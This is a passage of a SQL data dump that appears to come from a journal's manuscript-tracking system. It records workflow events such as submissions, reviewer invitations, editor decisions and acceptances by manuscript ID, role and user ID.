Editor',7746,'Publisher',319),(70531,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7746,'Editor',1067),(70532,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7747,'Editor',1067),(70534,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7750,'Editor',1067),(70535,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7749,'Editor',1067),(70536,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7748,'Editor',1067),(70537,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7747,'Editor',1067),(70538,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7746,'Editor',1067),(70544,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7764,'Author',8981),(70596,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(70597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(70598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(70599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(70600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(70601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(70602,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70603,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(70615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(70616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(70617,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(70618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(70662,'0000-00-00 00:00:00','Reviewer has submitted comments',7279,'Reviewer',15586),(70664,'0000-00-00 00:00:00','Reviewer has submitted comments',7669,'Reviewer',10684),(70679,'0000-00-00 00:00:00','Author sent Email',4915,'Author',6131),(70680,'0000-00-00 00:00:00','Manuscript Submitted by Author',7776,'Author',8994),(70682,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7778,'Author',8996),(70683,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7779,'Author',8997),(70685,'0000-00-00 00:00:00','Reviewer has submitted comments',7279,'Reviewer',15588),(70686,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',7279,'Reviewer',15588),(70733,'0000-00-00 00:00:00','Publisher : Notified Editor',7279,'Publisher',85),(70734,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7520,'Editor',1410),(70738,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7279,'Editor',1393),(70739,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7741,'Publisher',84),(70758,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7686,'Publisher',988),(70768,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7131,'Publisher',673),(70774,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7712,'Editor',634),(70775,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7712,'Editor',634),(70777,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7764,'Publisher',85),(70778,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70779,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70780,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70781,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70782,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70783,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70784,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70785,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70786,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7764,'Publisher',85),(70788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7729,'Publisher',972),(70789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7729,'Publisher',972),(70794,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7700,'Publisher',972),(70795,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7422,'Publisher',972),(70796,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7422,'Publisher',972),(70798,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7729,'Publisher',972),(70801,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7700,'Publisher',972),(70802,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7422,'Publisher',972),(70805,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7700,'Publisher',972),(70811,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7279,'Editor',1393),(70817,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7279,'Publisher',85),(70876,'0000-00-00 00:00:00','Reviewer has submitted comments',7764,'Reviewer',16782),(70878,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7806,'Author',9028),(70915,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7574,'Editor',1452),(70916,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7568,'Editor',1452),(70917,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6959,'Editor',1452),(70918,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7257,'Editor',1452),(70919,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7763,'Publisher',48),(70920,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7779,'Publisher',48),(71005,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7776,'Publisher',248),(71006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7751,'Publisher',248),(71007,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7751,'Publisher',248),(71008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7751,'Publisher',248),(71009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7751,'Publisher',248),(71010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7751,'Publisher',248),(71011,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7751,'Publisher',248),(71012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7776,'Publisher',248),(71013,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7776,'Publisher',248),(71014,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7776,'Publisher',248),(71015,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7776,'Publisher',248),(71016,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7776,'Publisher',248),(71063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7779,'Publisher',48),(71064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7779,'Publisher',48),(71065,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7779,'Publisher',48),(71066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7779,'Publisher',48),(71067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7779,'Publisher',48),(71074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71079,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71080,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71081,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71082,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7741,'Publisher',84),(71085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71088,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7734,'Publisher',84),(71098,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7746,'Publisher',319),(71105,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7747,'Publisher',319),(71107,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7748,'Publisher',319),(71108,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7749,'Publisher',319),(71110,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7750,'Publisher',319),(71112,'0000-00-00 00:00:00','Author sent Email',6865,'Author',8129),(71132,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7686,'Publisher',988),(71133,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7686,'Publisher',988),(71134,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7686,'Publisher',988),(71141,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7734,'Editor',222),(71142,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7741,'Editor',222),(71161,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7728,'Editor',194),(71163,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7728,'Editor',194),(71164,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7728,'Publisher',48),(71165,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7763,'Publisher',48),(71166,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7763,'Publisher',48),(71167,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7763,'Publisher',48),(71168,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7763,'Publisher',48),(71204,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7279,'Publisher',85),(71219,'0000-00-00 00:00:00','Reviewer has submitted comments',7662,'Reviewer',11689),(71221,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7806,'Publisher',48),(71222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7806,'Publisher',48),(71268,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7662,'Publisher',48),(71271,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7400,'Publisher',319),(71272,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7401,'Publisher',319),(71273,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7402,'Publisher',319),(71274,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7404,'Publisher',319),(71275,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7405,'Publisher',319),(71283,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7824,'Author',9046),(71342,'0000-00-00 00:00:00','Reviewer has submitted comments',7275,'Reviewer',11589),(71343,'0000-00-00 00:00:00','Publisher : Notified Editor',7275,'Publisher',75),(71344,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7275,'Editor',161),(71345,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7275,'Publisher',75),(71371,'0000-00-00 00:00:00','Manuscript Updated',7421,'Publisher',248),(71372,'0000-00-00 00:00:00','Manuscript Updated',7590,'Publisher',248),(71378,'0000-00-00 00:00:00','Reviewer has submitted comments',7663,'Reviewer',11689),(71379,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7663,'Publisher',48),(71442,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7830,'Author',9050),(71444,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7649,'Publisher',48),(71445,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7649,'Publisher',48),(71446,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7649,'Editor',194),(71447,'0000-00-00 00:00:00','Reviewer has submitted comments',7649,'Reviewer',11689),(71448,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7649,'Publisher',48),(71468,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7832,'Publisher',48),(71513,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7824,'Publisher',75),(71543,'0000-00-00 00:00:00','Publisher : Notified Editor',7764,'Publisher',85),(71544,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7764,'Editor',1408),(71545,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7764,'Editor',1408),(71546,'0000-00-00 00:00:00','Publisher : Notified Author',7764,'Publisher',85),(71547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(71548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(71549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(71550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(71551,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(71552,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(71553,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(71570,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7063,'Editor',1456),(71571,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7063,'Editor',1456),(71572,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7063,'Publisher',673),(71575,'0000-00-00 00:00:00','Author sent Email',7594,'Author',3375),(71579,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7095,'Editor',1235),(71580,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7095,'Publisher',274),(71611,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7763,'Editor',194),(71612,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7763,'Editor',194),(71613,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7779,'Editor',194),(71614,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7779,'Editor',194),(71615,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7763,'Publisher',48),(71620,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7779,'Publisher',48),(71629,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7832,'Publisher',48),(71630,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7830,'Publisher',48),(71631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7832,'Publisher',48),(71632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7832,'Publisher',48),(71633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7832,'Publisher',48),(71634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7832,'Publisher',48),(71635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7832,'Publisher',48),(71636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7830,'Publisher',48),(71637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7830,'Publisher',48),(71638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7830,'Publisher',48),(71639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7830,'Publisher',48),(71640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7830,'Publisher',48),(71641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7830,'Publisher',48),(71669,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7421,'Editor',359),(71670,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7556,'Editor',359),(71671,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7751,'Editor',359),(71672,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7776,'Editor',359),(71673,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7421,'Publisher',248),(71674,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7556,'Publisher',248),(71678,'0000-00-00 00:00:00','Manuscript Submitted by Author',7843,'Author',7901),(71691,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7095,'Publisher',274),(71721,'0000-00-00 00:00:00','Publisher : Notified Editor',7424,'Publisher',984),(71722,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7424,'Editor',1342),(71726,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7424,'Editor',1342),(71727,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7497,'Editor',1342),(71729,'0000-00-00 00:00:00','Publisher : Notified Author',7424,'Publisher',984),(71738,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7275,'Publisher',75),(71752,'0000-00-00 00:00:00','Author sent Email',7594,'Author',3375),(71834,'0000-00-00 00:00:00','Publisher : Notified Editor',7669,'Publisher',85),(71835,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7669,'Editor',1251),(71836,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7669,'Editor',1251),(71838,'0000-00-00 00:00:00','Publisher : Notified Author',7592,'Publisher',274),(71839,'0000-00-00 00:00:00','Publisher : Notified Author',7472,'Publisher',274),(71840,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7520,'Publisher',988),(71841,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7843,'Publisher',274),(71949,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7854,'Publisher',48),(71953,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7420,'Publisher',75),(71957,'0000-00-00 00:00:00','Reviewer has submitted comments',7420,'Reviewer',11589),(71958,'0000-00-00 00:00:00','Publisher : Notified Editor',7420,'Publisher',75),(71983,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7556,'Editor',359),(71984,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7590,'Editor',359),(71985,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7590,'Publisher',248),(71986,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7590,'Publisher',248),(71997,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7420,'Editor',160),(72000,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7868,'Author',9084),(72003,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7871,'Author',9086),(72006,'0000-00-00 00:00:00','Publisher : Notified Author',7420,'Publisher',75),(72008,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7557,'Publisher',75),(72009,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7557,'Publisher',75),(72010,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7557,'Publisher',75),(72011,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7557,'Publisher',75),(72012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7557,'Publisher',75),(72013,'0000-00-00 00:00:00','Reviewer has submitted comments',7557,'Reviewer',13225),(72027,'0000-00-00 00:00:00','Publisher : Notified Editor',7557,'Publisher',75),(72066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7511,'Publisher',48),(72067,'0000-00-00 00:00:00','Reviewer has submitted comments',7511,'Reviewer',11689),(72068,'0000-00-00 00:00:00','Reviewer has updated comments',7511,'Reviewer',11689),(72069,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7511,'Editor',194),(72070,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7594,'Editor',194),(72071,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7594,'Editor',194),(72072,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7511,'Publisher',48),(72073,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7511,'Publisher',48),(72078,'0000-00-00 00:00:00','Reviewer has submitted comments',7686,'Reviewer',13180),(72080,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7686,'Editor',1410),(72081,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7686,'Editor',1410),(72082,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7686,'Publisher',988),(72084,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7854,'Publisher',48),(72115,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7868,'Publisher',48),(72123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7627,'Publisher',48),(72124,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7627,'Publisher',48),(72125,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7627,'Publisher',48),(72127,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7832,'Editor',194),(72128,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7832,'Editor',194),(72129,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7832,'Publisher',48),(72132,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7880,'Author',9095),(72136,'0000-00-00 00:00:00','Reviewer has submitted comments',7627,'Reviewer',11689),(72137,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7627,'Editor',194),(72138,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7627,'Publisher',48),(72139,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7627,'Publisher',48),(72140,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7594,'Publisher',48),(72172,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7854,'Publisher',48),(72173,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7854,'Publisher',48),(72174,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7868,'Publisher',48),(72175,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7868,'Publisher',48),(72176,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7868,'Publisher',48),(72177,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72178,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72179,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72180,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72181,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72182,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72183,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72185,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72186,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72200,'0000-00-00 00:00:00','Reviewer has submitted comments',7728,'Reviewer',11689),(72216,'0000-00-00 00:00:00','Manuscript Submitted by Author',7883,'Author',8733),(72220,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7887,'Author',9102),(72228,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7888,'Publisher',48),(72234,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7728,'Publisher',48),(72240,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72241,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72327,'0000-00-00 00:00:00','Reviewer has submitted comments',7832,'Reviewer',11689),(72402,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7897,'Author',9111),(72416,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7843,'Editor',1594),(72432,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7574,'Publisher',376),(72435,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7903,'Author',9117),(72478,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7905,'Publisher',85),(72479,'0000-00-00 00:00:00','Manuscript Updated',7568,'Publisher',376),(72484,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7568,'Publisher',376),(72502,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72504,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72505,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72506,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72507,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7778,'Publisher',988),(72636,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7883,'Publisher',274),(72691,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7888,'Publisher',48),(72692,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(72693,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(72694,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(72695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(72696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(72697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7888,'Publisher',48),(72708,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7911,'Publisher',319),(72712,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7806,'Editor',194),(72713,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7806,'Editor',194),(72714,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7806,'Publisher',48),(72715,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7806,'Publisher',48),(72716,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7806,'Publisher',48),(72717,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7806,'Editor',194),(72718,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7806,'Publisher',48),(72726,'0000-00-00 00:00:00','Publisher : Notified Author',7517,'Publisher',85),(72734,'0000-00-00 00:00:00','Reviewer has submitted comments',7806,'Reviewer',11689),(72735,'0000-00-00 00:00:00','Reviewer has submitted comments',7806,'Reviewer',11689),(72739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(72740,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7063,'Editor',1456),(72741,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7063,'Publisher',673),(72742,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7063,'Publisher',673),(72749,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7903,'Publisher',48),(72750,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7903,'Publisher',48),(72751,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7903,'Publisher',48),(72752,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7903,'Publisher',48),(72753,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7903,'Publisher',48),(72757,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7887,'Publisher',274),(72779,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7779,'Publisher',48),(72852,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7924,'Author',9134),(72863,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7926,'Author',9137),(72867,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7557,'Editor',160),(72868,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7557,'Publisher',75),(72935,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7905,'Publisher',85),(72936,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7897,'Publisher',85),(72966,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7871,'Publisher',75),(72984,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7929,'Author',9139),(72992,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',14805),(72993,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7557,'Publisher',75),(72994,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6973,'Editor',1456),(72995,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6973,'Editor',1456),(72998,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7931,'Author',9140),(73019,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7924,'Publisher',75),(73020,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7926,'Publisher',75),(73043,'0000-00-00 00:00:00','Reviewer has submitted comments',7257,'Reviewer',12263),(73044,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7911,'Publisher',319),(73046,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7257,'Editor',1452),(73047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7824,'Publisher',75),(73048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7824,'Publisher',75),(73049,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6959,'Editor',1452),(73050,'0000-00-00 